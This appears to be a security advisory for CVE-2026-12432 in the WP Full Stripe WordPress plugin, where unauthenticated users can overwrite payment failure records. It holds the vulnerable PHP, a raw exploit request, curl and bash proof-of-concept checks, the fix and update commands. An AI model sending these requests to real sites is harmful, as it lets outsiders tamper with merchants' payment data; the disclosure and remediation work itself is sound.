// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"